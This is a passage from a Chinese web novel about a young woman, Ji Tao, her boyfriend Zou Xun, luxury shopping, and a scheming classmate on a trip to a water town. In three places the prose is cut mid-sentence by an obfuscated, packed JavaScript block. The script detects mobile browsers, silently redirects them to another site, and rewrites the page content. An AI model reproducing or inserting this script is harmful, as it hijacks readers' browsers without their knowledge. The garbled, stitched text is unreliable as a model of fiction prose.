季桃从试衣间出来,廖澍晴和袁楚欣都转过头看她,袁楚欣立即把脸拧开,廖澍晴跳过来赞叹:“好漂亮!我就说你们这样个高苗条的人穿肯定好看。” 刚才柜姐也是这样夸奖:“这条特别挑身材,你穿上正合适。” 季桃挺得意。她在自己的脸上可能多少还能找出不满意的地方,但她从来没为身材焦虑过。她喜欢自己的胸,不算大,照女生审美是理想胸型,穿这条裙子确实是正正好—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924024|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能撑起来,又不会“呼之欲出”。 好吧,是好看,裙子衬得露出的肩膀美丽,黑色的文胸肩带美丽,甚至那颗粉色的桃心还能变得更美。季桃感觉到廖澍晴看了一眼又一眼。但是这么贵——虽然几天后账户就会多几万块,但还是贵。季桃笑自己“穷人乍富”,心态一时转换不过来。 问店员:“有没有折扣?我不是VIP。” “这件是三万四千,没有折扣。” “这么贵呀!”廖澍晴叫了一声,赶紧看店员,转头悄悄地朝季桃吐吐舌头,“好贵。不过,学姐你穿真漂亮啊。” 店员说:“这件是我们秀款,不会打折。那边一列有换季折扣。” 袁楚欣正站在店员手指的衣架前,闻言翻翻眼睛,走到另一边去看包。 季桃还在为难,邹巡又打来电话:“我都没心思工作,就等着看照片了。” “别等了,我不发。我碰到两个同学,让她们帮忙看看。” “好。”邹巡说,“喜欢的就买,多买几件。十万不够,我再转点儿。” “别别,够了。”季桃急忙说。从哪里转,莫非他要用信用卡提现?多没必要。“足够了,我根本买不了那么多。行了,你别管,我马上就买,还怕我花不出去钱么?” “不是不是,你随意,和同学逛吧,高兴了明天咱们再去。”邹巡笑着挂了电话。 接电话时,廖澍晴很礼貌地走远了些,这时又走来,犹豫片刻,对季桃说:“我也认识邹学长。” 季桃有点儿惊讶,廖澍晴立即解释:“邹学长以前给我们带过上机课。不过上个学期……噢,最近一年都没见到他了。” 邹巡的导师项教授也带了两门本科课程,但是教授忙,下课铃一响就走,像批作业、改试卷等等小事常常就交给自己的研究生代劳——有些课程需要在机房实操,现场完成作业,邹巡带过几回这样的课。 望着廖澍晴圆圆的、闪亮的眼睛,季桃仿佛有点抱歉地说:“后来他去公司实习,上班了,可能没多少时间去学校。” “邹学长真厉害。”廖澍晴崇拜地说,“一边上班,一边念书,我可做不到。——邹学长今天也上班吗?” “嗯,他今天去加班。” 廖澍晴又往季桃身上瞧了瞧,夸赞说:“你的项链也特别漂亮,你可以穿这身去参加宴会了。是邹学长送的?”她注意地盯着季桃脸看。 “嗯。”季桃答应一声,觉得这个廖澍晴怎么有点爱打探别人私事的样子。 廖澍晴羡慕道:“你们两位美女,交到的都是模范男朋友。——昨天我看见学长也去看演出了,你演得太好了,学姐你演得最好。” 两人一边说着话,季桃一边在折扣区挑了一条几千块的“便宜”阔腿裤,这样一平均,稍微显得“划算”些。 她试过裤子,让店员把两件装起来,付了钱。 袁楚欣也选好了一只包,她手里本来已经提着个袋子,应该是只包,她身上正背的,还是一只名牌包。 季桃没有贵包,今天干脆就背了一个帆布袋。以前是确实买不起,即便买得起,她想:衣服实在忍不住要买就罢了,关键有一点,衣服贵不贵,别人未必看得出,但是大牌包,几乎所有人都认得。还没有上过一天班,背一只贵包,太没有说服力。季桃虽然虚荣,却还有点“虚伪”——不愿显出来那么虚荣。 她可万没猜出,袁楚欣见她不买包,冷笑背后浮起的想法倒与自己有“异曲同工之妙”。袁楚欣想的是:男生大多看不出衣服价钱,但是随便上上网,都能认识奢侈品包包,要是买了包带回家,男朋友那里交代不过去。 付完钱,季桃准备和两人告别。廖澍晴却拉住她说:“学姐,你想不想去男装那边看看,咱们一起去吧。” 11. 模范男友 季桃答应,她对男装的奢牌不大懂,隐约知道是非常贵,正好,人多胆壮,就去见识一下。 进了一家店,又是另一样气氛,季桃和袁楚欣不由都有点拘谨,倒是廖澍晴真正松弛,跟迎上来介绍的店员有说有笑道:“我们就看看,不一定买。请你不要推荐太贵的,我们还是学生。再说我也没交男朋友,你问她们两个。” 季桃刚进恒隆的时候,就在想要给邹巡买件衣服——用她自己的钱,当作礼物送他。 说起来,邹巡确实算“模范”男友,在送礼物方面尤其挑不出毛病。每逢节日,邹巡都会给她送花,连同形状不一、包得很漂亮的几只盒子——巧克力、键盘、香水礼盒等等。 反正,差不多得一千多块吧。一千,听起来不多,可情人节、妇女节、七夕、圣诞,个个他都送,大小节日加起来,六七千呢。当然,对有钱人来说,这个数字太小了,要是窦意鸣听见,说不定还笑话。可她喜欢,喜欢邹巡送“力所能及”的礼物,显示郑重而浪漫的心意。 其实,她更喜欢在送礼物方面,两人能对等,譬如像“麦琪的礼物”,可是,以前她没能力。 不过,邹巡很体谅,怕她有心理负担,东西不当面给她,每次都是叫快递送到宿舍楼。他打个电话,轻描淡写:“随便买的,不算。我就是照网上说的买的,应该和你宿舍同学收到的东西差不多吧?” 他亲自交到她手里的礼物“才算”,通常是本书——比如知名建筑摄影师的影集;有时是个更小的东西,一粒石子什么的——他真的送过她一颗红色的光滑小卵石,“在公司园区小路上看见,抠下来的。”她拿着笑半天,笑完,也就“好意思”把自己准备的礼物给邹巡了。 她知道,邹巡不想让她花太多钱。可她实在过意不去,虽然自己还是学生,几百块的东西总是应该的吧——伙食费上省省就出来了,当然,邹巡不会让她压缩伙食,收下礼物,他总要管她半个月的饭。 几百块买不了什么,也就一件T恤,好在,几百块能买到很好看的T恤,邹巡也特别喜欢,一年四季身上不离她买的短袖,夏天穿外面,秋天穿里面。 可是,刚才看见大幅海报上的男装模特,季桃忍不住想要给邹巡买裤子、买衬衫、买外套…… 她的信用卡额度才两万,总不能拿着邹巡的钱给他买礼物,那算怎么回事。但,邹巡真的比模特还好看得多,虽然他从不“耍帅”——他是那种特别直的直男性格,只要“大”就行,压根不晓得自己帅不帅。刚认识的时候,他成天穿成一副技术宅男样子,也就是亏身材和脸撑着,才没有泯然众程序员矣。如果他穿上像这样的衣服…… 见季桃对着一套西装发呆,廖澍晴走近说:“这套蛮好,学长穿肯定特别帅,我好像都看见你们的婚礼了。”她捧着手叹道。 季桃猛然醒来。邹巡根本不穿正装,平时也没有对应场合。不行不行。 脸一红,急忙逃开:“太贵了。我看看别的。” 她很快挑了件休闲衬衫,心想不用来试了,像邹巡那种衣架子,穿上肯定合适,便对店员报了身高体重:“184,74公斤。” “好标准的身材。”廖澍晴小声道。 还用说吗。季桃胸中涌起一股自傲与“所有者”的骄傲交织在一起的豪迈之情。如果自己有钱,一定要把邹巡从头到脚打扮起来。一下子,她深切地理解了邹巡为什么喜欢给她买东西——为恋人花钱的感觉就是爽!季桃大方地决定,给邹巡这个“满足”,明天和他一起再来,去买刚才看上的两双鞋子,让他也享受享受当“有钱人”的滋味。 廖澍晴又问袁楚欣:“你给你男朋友挑个什么?” 袁楚欣哼一声:“他自己来买就好。等下咱们去宝格丽吧,我想买条项链。” “哇,哪一条,扇子吗,我也想买。学姐你要不要去看看。” 季桃摇摇头。两万的项链,买不起。 “学姐男朋友送她的项链,好漂亮的。”廖澍晴对袁楚欣说。 袁楚欣没接话,说:“扇子好多人戴,我想买钱币项链。” “你真有品味,要好贵吧?” “也不算贵,我不买最贵的,十五万左右。”袁楚欣不在意地说,“我男朋友送我,再少就太小气了吧。” “六十多万台币呀,这可一点都不小气。”廖澍晴瞪圆眼睛,认真地说,“那我不能陪你买了,我只买得起最便宜那种,算了。” “谁信呀,你家里那么大的企业。” 廖澍晴吐吐舌头:“我的零花钱都用完了。” “再问你哥哥要。他那么有钱,就你这一个妹妹。” 廖澍晴笑嘻嘻道:“哪有,他才小气呢,不肯给我钱花。” “那你给他买件衣服,让他高兴高兴。” “算了,他在固定那几家买,每季都提前订好的,什么都不缺。” 季桃悄悄瞥了两人一眼。廖澍晴的打扮气质就看得出,是个阔小姐;至于袁楚欣,更没必要显摆——早就知道了,你男朋友是窦意鸣混的那帮朋友嘛,“财力”肯定是有的。 季桃真不想继续和她们两个一起逛,拿好衣服,正要友好告别,刚走出店门,廖澍晴一拽袁楚欣:“那不是你男朋友?” 一个瘦瘦的、其貌不扬的男人向她们晃过来。原来是这个人。季桃对他的长相有点印象——窦意鸣的几个“哥们”她见过,当时她想,富二代们其实长得都还不差,体体面面的,唯独这一个,不知五官是哪里不对劲,模样令人不好恭维。 “怎么在这儿?给谁买?”他说话的模样和声音,都好像嘴上正叼着支烟。 “反正不是给你。谁让你来了?你来干嘛?”袁楚欣面露不悦。 “找你吃饭啊,买完没,买了多少?”他向袁楚欣手上看去,也瞅了瞅季桃的,拧着嘴角笑。 “就买了两个包。多了?”袁楚欣向他瞪眼。 “不多。你背就行。可别偷偷退,也别卖二手,我不当冤大头。” “谁冤得了你。带我买项链去。” “买狗链子去。” 袁楚欣小包甩过去打他。他摇晃着身子,抬手抵挡,腕子上一块绿表盘大金劳。和金表同一侧的耳朵上钉着钻石,白光闪闪烁烁。 季桃替那颗钻石不值,也替袁楚欣不值。她甚至觉得袁楚欣的不满确实发自内心:这么个男朋友,当然不想给人看见。 说句良心话,依袁楚欣的相貌,非要选有钱人,也大有挑挑拣拣的余地,怎么就挑上了这个? “能耐了,啊?”她男朋友被砸了一下,扯住包带,眯起眼。 季桃想起来了,可厌的不是他的长相,是他那副没有任何东西可拽却还要拽了吧唧的神气。 正想着,那人的耳钉白光一划,仿佛发出一道划玻璃的刺耳声音,季桃打了个战,接着就对上了他斜乜着的眼睛。 季桃赶紧扭过头,和廖澍晴打个招呼就走了。那个人身上有种让她特别厌恶、特别不舒服的东西。 . 自打那天早上无意听见邹巡和家人的电话,不知是不是心理作用,季桃总感觉邹巡像有事要告诉她——是件她不想听的事,所以,她急忙想与邹巡分手,也是为阻止他说出来。 现在,没分成手,可那件事她依然不想听。季桃想起,邹巡与那个白衬衫神明说过几句悄悄话。后来她问起,邹巡说是问神明会不会再次对他们显形。她根本不信这个牵强的解释。邹巡一定是问神明他们能不能结婚,会不会影响奖金。神明说不影响,但是不建议结婚,“再多等等”,“顺其自然”。 神明是不是看出她不想结婚?不管怎样,神明总是洞察世事、英明无比吧,连他们都说顺其自然,那就顺其自然好了,邹巡难道会不听? 不过,季桃还是莫名紧张。尤其是,又快到她的生日了,她担心:他不会忽然掏出一只戒指求婚吧? 她问邹巡:“我过生日你打算送我什么礼物?” “那可不能提前说。” “别买东西,没我想要的。我只想要一些时间。” “你让我给你一些时间?”邹巡看着季桃。 季桃觉得他领会了,邹巡多么聪明的人。不过话不能停在这儿,有点不好收。她轻松地说:“神明给不了的东西,你可以给我。他们抠抠搜搜的,就会拿些自己不稀罕的东西做 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因为这次出游,买车计划得已迅速落实。去4S店时,季桃卡上已经有了十来万,当然了,无论如何不可能买得起邹巡喜欢的那种“好车”,便按季桃的喜好按揭买了宝马——中低配置的。“你开车怎么样,能不能上高速?”季桃不太放心。 “我做什么事情不行过?”邹巡说。 确实,邹巡很可靠,季桃不多问了,至少他在市区开车稳如小顾。上了高速后,季桃不敢再和他聊天,邹巡专心开车,她随心听歌,偶尔跟着唱几句,两小时不知不觉过去,中午在休息区吃点儿东西,再开一小时,便到了古镇。 季桃出门玩,五分是为了换个环境放松放松,只有三分是为了观景,剩下两分倒是为了看人。这天是工作日,镇上的游人大部分是放了暑假的大学生,因而格外好看。季桃远远瞧见两个民国装扮、撑着油纸伞的女生,手一指,向邹巡说:“看,美女。” 邹巡走开两步,转头朝着季桃看。 “太假了。”季桃说,“你就不能大大方方欣赏美女?你知道吧,真正的美女都不怕和人比较。” “我知道你不怕,但是我的眼睛愿意看哪儿得由我。你就不能让我随心所欲欣赏美女?” 其时季桃也打着把小伞,脸和肩膀遮在阴影中,只有那条新买的桑蚕丝宽肩带连衣裙被阳光照得一道亮。连衣裙是白底子,上面大笔一挥,随意刷上了几抹湖蓝、青绿色——一幅水墨抽象画。季桃知道自己穿这件裙子很漂亮,也知道她哪怕穿条洗没了型的T恤,邹巡也是同样的眼神看她——他哪里懂得不同穿搭间的微妙差异? “你不是随心所欲,你是懵懵懂懂,你的眼睛还没开化。”季桃抬起伞沿和脸,不客气地说,“你知道吗,我身上这件,可称之为纯欲风的天花板。对了,你觉得我是不是纯欲风?” 季桃认为自己不是,她觉得自己偏文艺气质,是民谣女生。但要是邹巡敢说你不是,他就死定了。不过邹巡从没让她失望过,他说:“你当然是,不仅是,还是天花板。” “你到底搞没搞清楚什么是纯欲风?”季桃怀疑地问。 “清楚啊,看见你我就明白了。”邹巡拿过伞举着,手臂一伸,搂住她的腰,弯身凑在耳边说,“搞那么多奇怪的词干什么,说白了,小妖精嘛。” 哪里像个程序员,季桃心想,难道当真男人有钱就会变?先前,时不时还感觉他“绷着劲儿”,那大概就是打工牛马的紧张和自觉,现在,他却是一身“上流社会”的松弛与自信了。才拿神明奖金几天,而且,还在她卡上,没到他手里呢,这就“小妖精”了,再发展下去,都该“邪魅一笑”了。 “油死了。”季桃用胳膊肘顶他,继续说,“一般人各有各的喜好,但多金有钱的男人都喜欢‘纯欲’女生,无一例外。” 邹巡大笑:“照这个说法,我一定特别有钱。” 依旧是程序员的笑声,季桃放了心,他的笑声多么清爽啊。 两人信步在镇子走了小半圈,太阳渐渐西斜,给河面铺了一层金色碎光,游人们纷纷收起阳伞,在水边拍照。季桃也让邹巡给她拍了不少。她想过一座小拱桥时,看之前那两个民国姑娘正在桥顶照相,便等了等。片刻间,背影美女转过头,原来是袁楚欣和廖澍晴。 12. 合影 看见季桃,廖澍晴先一愣,随即笑了,奔过来打招呼。袁楚欣袅袅婷婷下了桥,眼睛轻轻扫一下,便往旁边去望风景了,她穿条墨绿底芒果色大花的无袖长旗袍,垂着一双纤柔的胳膊;廖澍晴则是个女学生:浅青上衣,深蓝裙子,白袜布鞋,两根麻花辫的辫梢在肩头扫来扫去。 这时,廖澍晴脸上粉扑扑的,更像旧日里刚下了学的学生。她对季桃笑:“学姐,你们也来了,咱们真是有缘。”向邹巡看一眼,轻声招呼,“邹学长。” “你好。”邹巡点点头。 为她们拍照的女生跟着过来了,她没有特意打扮,穿着T恤和牛仔短裤,脸和四肢均匀地晒黑了,看着健康活力;二十岁的女生,只要五官周正,没有不美的,她和袁、廖二人比起来,又另有一种漂亮。她刚才一直惊奇地看着季桃,听见邹巡说话,急忙转向他:“邹学……”大概是实在叫不顺,改口道,“邹老师。” “你好。”邹巡对她笑了笑,介绍说,“我女朋友,季桃。这是计算机系的闻笛同学。” 季桃和闻笛问了好,心想邹巡记性倒不错,最近一年他上班后,很少往校园里去,先前给本科生批改、辅导作业,也没听他嘴上多提,没想到学生的名字他还能记得。 廖澍晴问:“你们也是今天来的?” “我们下午刚到。”季桃答。 “我们是中午到的。袁楚欣的男朋友带我们过来。我们打算后天回,你们呢?” 季桃答说一样。 “那太好了。”廖澍晴高兴地说,“晚上去坐船吧,我们几个人刚好坐一条船,不然,要和不认识的人拼。” 她这么说,季桃反倒踌躇:她当然更愿意和不认识的人坐船,而不是跟袁楚欣还有她男朋友一块儿。 不过,袁楚欣走过来向廖澍晴说:“我先回了。你们自己去吃饭吧。” “你还去坐船吗?” “我累了,不想出来了。”袁楚欣摇头。 廖澍晴忙说:“咱们都是同学,一起照张相吧。” “我给你们照。”邹巡把她手机接过来。 照完后,廖澍晴说:“学长一起照一张吧。”她急忙拉住一个过路游客,把手机塞给他。 之后,廖澍晴要季桃微信发照片,又期待地看邹巡,邹巡说:“发给季桃就好。” 合过影,似乎关系更近了一些,再提坐船的事,季桃不好意思拒绝,她们约好七点在码头会面。 走出几步,季桃扭头看邹巡:“又俘虏一个呀?” “说什么呢?”邹巡皱眉头。 季桃哼一声:“有人成天说我,嫌我招惹一个又一个的。轮到自己,就知道话难听了。” 邹巡笑起来:“季桃,你非要什么都压我一头,连个道德高地也不许我占,是吧?” “这和道德有什么关系?哈,我终于把你从逻辑高地上拽下来了。”季桃得意地大笑。 “不和你计较罢了。”邹巡伸手勾住她肩膀。 古镇的夜景很美,傍晚时分,天把水映红了,人在船上,喝着茶,慢悠悠荡着,便觉得不枉来此一遭。 一对小情侣肩并肩坐在船尾,喁喁哝哝。季桃、邹巡和闻笛、廖澍晴则占了另一张桌子,面对面坐着。廖澍晴已经脱下民国服装,换了件水兵领裙子,脖子上挂着很醒目一条项链,四个人乱七八糟聊着学生的话题。 廖澍晴问起邹巡在哪家公司,闻笛疑惑道:“学长不是读的在职研究生吧,没毕业可以去公司上班?” “公司那边没签合同,不交社保,学校这边只要导师同意,没太大问题。”邹巡答。 “那实在太辛苦了吧,一边念书,还得一边工作。”廖澍晴感叹。季桃多心,总感觉还有句“还得一边陪女朋友”没说出来。 “还好。”邹巡说。 廖澍晴马上笑道:“主要是学长厉害。我光念书都觉得挺累。” 闻笛问邹巡:“你们公司招女生多吗,像我这样的能不能进?下学期能不能先去实习?” 邹巡想了想回答:“现在好像不收实习,你可以等毕业后去。招女生。” “本科毕业?本科生也行?我还没想好到底要不要考研,要么我先去参加校招试试?”闻笛一迭声说,“万一以后我又想考研了……” “你可以先参加校招,不影响。”邹巡说。 “哦,对,现在好像教育部有规定,上研究生的话不用给用人单位交违约金。”闻笛欣喜道,“那我就放心了,秋招的时候我去看看。是不是现在就该刷题了?笔试难不难?有没有内部推荐?”她一连又问了几个问题。 “笔试的话,你应该差不多。有内部推荐,你转正后,你朋友可以拿人才推荐奖金。” “我在你们公司好像没有认识的人。”闻笛有点儿不好意思地说,“我就是想,这样是不是更容易些?” 季桃问邹巡:“你给她推荐不行吗?” 邹巡摇摇头:“我不能推荐。其实推荐不推荐差别不大,面试难度是相同的,主要还是看简历,闻笛的简历肯定可以。” 邹巡研究生还没毕业,等毕业,成为正式员工就可以推荐并拿推荐奖金了,不过,季桃想,可能他不愿多揽事吧,毕竟不是多么熟的关系。 这时,廖澍晴笑着推闻笛:“学长是陪学姐出来玩,又不是给你做求职参谋。” 闻笛愈发脸红,抱歉道:“一想到快毕业我就发愁,你们别嫌烦啊。” “没事。”邹巡说,“公司招聘网站上有邮箱,有问题可以发邮件咨询,都会详细回复。” 廖澍晴问闻笛:“你不用发愁,和我一起去台北,好不好?像你和学长这样的人才,在我们那边最受欢迎。” “我家人可能不同意。”闻笛笑着说,“你一定要回去吗,能不能留在大陆?” “我家人希望我回去,就我一个女孩儿,本来他们都不想我来。”廖澍晴低落地说,“不过也不一定。”她悄悄瞄了瞄邹巡。 邹巡早已半转身,面朝季桃,对其他人看都不看,几句对话更是仿佛没听见。季桃心里不大耐烦,觉得他是故意装出不假辞色的样子,好像她多爱吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924026|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醋似的。当然,也不是希望他做“妇女之友”,但现在这样,矫枉过正了。 季桃站起身,“我去前面看看。”话还未落,她就转身跑去,站上了船头。 这时才发现,岸边人家墙头的灯笼不知何时点亮了,一点一点微红的光映在水里,船驶过去,水里的光星星点点,静静地摇摆。百世修来同船渡,千世修来共枕眠,季桃想起缘分的神秘莫测,想起这是连神明也无法通晓的东西,不知怎的,心头一下子畅快了。 “你们也来看嘛。”她扭头招呼几人。 “哎,小姑娘,不能再站人了。”船家说。 季桃忙又向船里摆手:“别过来了。” 一阵风呼扇过她的裙子,季桃感觉自己像片羽毛轻盈欲飞,邹巡看着她。 . 不太到九点,镇子便已经静下来,但睡觉又还嫌早,回旅店换了条短裙子,季桃说:“咱们去他们的酒吧街看看。” 镇上有条巷子,从头到尾一间间开的全是酒吧。逛酒吧的人大都喜欢“串吧”,就是一家接一家地逛,喝上几杯,呼朋唤友换一家再喝,或者男女间彼此有意,怕同行的朋友打扰,丢个眼风,跑到另一家约会,像电影里演的那样。 季桃说:“喜欢去酒吧的人都三心二意,我就不,我只在一家待着,因为第一家我就醉倒了。”“好。你放心醉,有我呢。”邹巡说。季桃选了一家门上闪着JoyTime的吧,因为这个英文缩写和她自己的名字一样。 她不知道,这时候廖澍晴和袁楚欣正在“串吧”。廖澍晴东张西望,闷闷不乐,袁楚欣同样心不在焉,不过,喝了半杯酒,她忽然振奋了一点,嘴巴凑近廖澍晴耳朵,说了几句话。 廖澍晴问:“这样是不是不太好?” “有什么不好?” “不太可能吧。刚才坐船,我看他们挺好的。她有那么好的男朋友,怎么会……” 袁楚欣撇撇嘴:“都是表象。崔喆都跟我说了,他一个哥们想追季桃,季桃嫌人长得不够帅,又舍不得人有钱,一直半推半就,吊着人家。自己明明有男朋友,还和人私底下来往,现在人家父母发现了,要把儿子送出国,免得再被季桃骗。她能骗一个,就能骗两个三个,不然她哪来钱买那些衣服?” 廖澍晴低头想了想:“也对,要不是为她,邹学长不会压力那么大,还得辛苦工作,还没毕业就找班上。” “就是嘛。等她把这点儿油水榨完,吃干抹净,肯定分手,不信你看着。” “那邹学长得多伤心啊。” “所以别等了,现在就告诉他,让他看穿季桃,然后一步一步来。你别出面,我去说。” “我再想想。”廖澍晴垂着头。 两人在酒吧街上走,现在变成袁楚欣东张西望,忽地,她停下脚。廖澍晴跟着定住,向旁边望去:邹巡和季桃坐在一张小圆桌前,季桃捧着手机开心,邹巡从对面专注地看着她。如果是自己和学长这样坐着,绝对不会把眼睛盯在手机上,廖澍晴想。 廖澍晴看看袁楚欣:“你跟他说吧。” 13. 旗袍美人 季桃和邹巡坐在酒吧靠窗的座位。季桃摆一杯漂亮的酒在跟前,偶尔才浅浅啜一口,她不爱喝酒,只想和邹巡聊天,或者刷手机。 她想玩手机随时就玩,不想玩时邹巡也不能玩——虽然他不是玩,是看《NaturePhysics》,“在那儿装”——要是不肯接受不平等条约,算什么男朋友? 期间,邹巡接了个电话,告诉对方酒吧名字“欢乐时光”。 季桃诧异道:“谁要来?” “我订了几支花让人送来。” “什么花?” “你喜欢的,一会儿看见就知道了。” “还订了花,送到这儿?”季桃有几分警觉。 “送到哪儿不是送。你不是说早上起来看见鲜花会高兴?” 对,前几天她跟邹巡说过,准备从网上买包月的鲜花,还没开始订呢。 季桃从椅子上跳起来:“我自己去拿。” “别跑远了,我看不见。” 季桃离开不久,袁楚欣在邹巡对面坐下。邹巡抬头:“这里有人。” “我就几句话。”袁楚欣冷冰冰说。 “那请你快讲,我女朋友马上回来。”邹巡向窗外望去,嘴边露着微笑。 袁楚欣顺着瞟一眼,不明所以,急速道:“你知不知道那回演话剧,本来不该季桃演,因为她找了一个赞助关系,才让她上的。” 邹巡这才收回目光,凉飕飕看她说:“我知道本来就该她演,而且她也演得好。——赞助人很高兴吧?” 袁楚欣瞪着邹巡:“你知道她怎么找到那个关系的?” “她没找关系。” “你什么都不知道。”袁楚欣嘲弄地说。 “我不关心无聊的事,请你不必费心了。” “你女朋友的事都不关心?” “关心。”邹巡认真地说,“我不希望季桃不高兴,这个第一重要。” 袁楚欣脸绷得生硬:“你小心点儿,别让她把你骗了。我们实在看不过,廖澍晴……” “你还有事吗?”邹巡打断她。 远远地,季桃看见一个人抱着只很大的纸箱走来。她迎上去,向小哥左右瞧瞧。“季小姐?”对方停下,打开纸箱,拿出一大捧花束递给季桃。“祝你快乐!”他说。 简直像做梦一样。季桃低头去看她最喜欢的芍药花,花瓣才微微开启,霓虹灯映照下,拳头大的骨朵显出晨曦般的粉色。好大的一捧,沉甸甸的。 她抱着花,想朝邹巡扬扬手,不知他看不看得到。一眼却瞥见个旗袍美人腰肢软软一拧,在自己座位坐下,不是袁楚欣是谁? 袁楚欣一副婷婷袅袅的身材,一张略带古典气质的脸,很知道怎么用旗袍凸显优势,这下又换了件鹅黄格子的。鹅黄,格子,别人穿可能是灾难,可在袁楚欣身上,无论是色彩在淡雅和娇艳间的参差,还是线条由弯曲向笔直的过渡,都如一副漂亮的水彩画一般。 不过,画也好人也好,若只有漂亮,就脱不了匠气,季桃苛刻地想。但袁楚欣确实漂亮,苛刻完,季桃还是忍不住送四个字——我见犹怜。 怜不怜再说吧,看见她,季桃并不惊讶。今天下午遇到时,袁楚欣从桥上走下来,漫不经心向邹巡撩了一眼,季桃正好瞧见了,连她眼中细微一点神情变化都瞧得清楚。 季桃可太明白袁楚欣神情的含义和变化的缘由了。当初,她在宿舍楼下看见邹巡,也就是一眼。一眼,该看到的都能看到。当然,并不是说袁楚欣看到与欣赏的和自己一样,但一个英俊挺拔的男生,落在大多数女生眼里,所激起的感想大差不差。 怎么了,发现自己男朋友太磕碜,就来和别人男朋友搭讪?不过季桃一点儿都不担心,她干脆不着急过去,又转过身,把一个漫不经心的背影丢给他们。 她低头数了数芍药花,正好是二十三支,二十三岁生日。 再数一遍,扭头一看,袁楚欣还没走。季桃大步走进酒吧。 “你还有事吗?我女朋友回来了,没事的话请你让一下。”邹巡说。 袁楚欣转头,看见眼前一大束花,愣了一愣,抬起眼睛,又看见一张笑脸。 “好看吧?” 季桃穿着件白底红色大花的短连衣裙,怀里抱着一大束粉红的花。袁楚欣没想到,季桃竟然能力压,和花朵比起来,她的笑更引人注目。 袁楚欣掉开目光:“好看有什么了不起。廖澍晴比你甜。”说完,扭身走了。 “她说什么?我没听错吧。”季桃真没猜到是替廖澍晴牵线。 “没听错。她说错了。”邹巡说。 季桃扭头望一眼:“那快走吧。” “干什么?” “追她们呀,人家都要走了,来不及了。”季桃故意做出夸张的表情。她才不怕,真正的美女就敢把脸拉得长长的,把眉毛皱得紧紧的,就敢不表情管理。“快去追你的台北小甜豆去。” “小模样。”邹巡凑近她,“什么甜豆糖球?我只知道我的水蜜桃。” “谁说你的呀?”季桃甩开他伸过来的手,“你不是一向有风度吗,哪能把人家晾一边呀。” “风度这个词不是这么用的吧?”邹巡挤挤她嘟着的嘴。 “回去吧。”季桃泄了气般,无精打采地说。 回到他们住的临河的房间,季桃忙着把带来的棉布被单铺在床上,忙着插好花。芍药好像在笑一般,笑得清爽、灿烂。看着花朵,能让人心情变得好点儿。 邹巡看着季桃,看她穿着白底红色大花连衣裙的身影,看她摆弄鲜花。她的脸从一片姹紫嫣红、花团锦簇中明亮出来。 好半天,两人没说话,然后,季桃在床沿坐下,翻出今天的合影照片。照片右边,邹巡面无表情,一副临时凑数的样子,不过,谁关心他了?廖澍晴站在正中,笑得眼睛弯弯的。“你看,人家确实挺甜。” “我不看,删了吧。” “为什么删,上面还有我呢,还有你呢,再说你能把别人手机上的也删掉?”季桃放大照片,仔细瞧了瞧,“真的,廖澍晴有点儿那种气质,一看就是高级官员家的大小姐,特权阶级。” “现在不是民国时期了,用不着那么阶级分明。”邹巡笑道,“这世上只有一个人,我承认她有特权,那就是——” 季桃毫不理会:“人家家里真的挺多钱。别看她穿那么朴素,她戴的项链二三十万呢。” “那我也不用上她家吃红烧肉。”邹巡不屑道。 “上回我听见了,她家里是家族企业,不知道具体做什么,反正挺大。你没听见吗,家里就她一个公主。她好像有个哥哥,不知道是不是亲的,也可能是堂哥,我看她有意把你招赘进去……” “季桃!”邹巡喊一声。 季桃眼角都不用朝他瞥就知道真的装的。“我是说她可能有那个想法,又没说你一定要去,你生什么气,伤害你敏感的自尊心了?” “明明是你故意气我,还不许我生气。你现在气人本事见长了。”邹巡笑着,坐过来兜她肩膀,“就是没那个想法,我也不喜欢她,何况还伤害我自尊心了。你明知道不可能。——也不是完全不可能,你要是愿意我入赘,我会认真考虑,真的。” “去去。”季桃推开他,站起身。 准备睡觉时,她还是不太高兴。廖澍晴为什么有那个自信,袁楚欣又为什么认为廖澍晴更适合邹巡,甚至敢公然上门挑衅? 手指划出袁楚欣的脸。袁楚欣和邹巡分别站在一排的两端,都是不干己事的模样,袁楚欣的表情甚至比邹巡还疏离,脸板得平平的,一丝笑容也没露,但她确实是个不折不扣的美女。 季桃再把照片调回原大小,心里悄悄把两张臭脸拉到一块,竟然不违和!假如邹巡先碰上袁楚欣……她的不痛快一下翻了十倍。 “你觉得袁楚欣长得好看吗?”邹巡从浴室回来,她假装随意地问,“她是扮成交际花吧,确实挺像……” “不好看,反正不像陈白露。”邹巡打断她。 “她跟你说这个!”季桃呆住,“你别听袁楚欣……” “我当然不会听。” “是她突然冒出来,非要演陈白露。正好我朋友— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924027|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 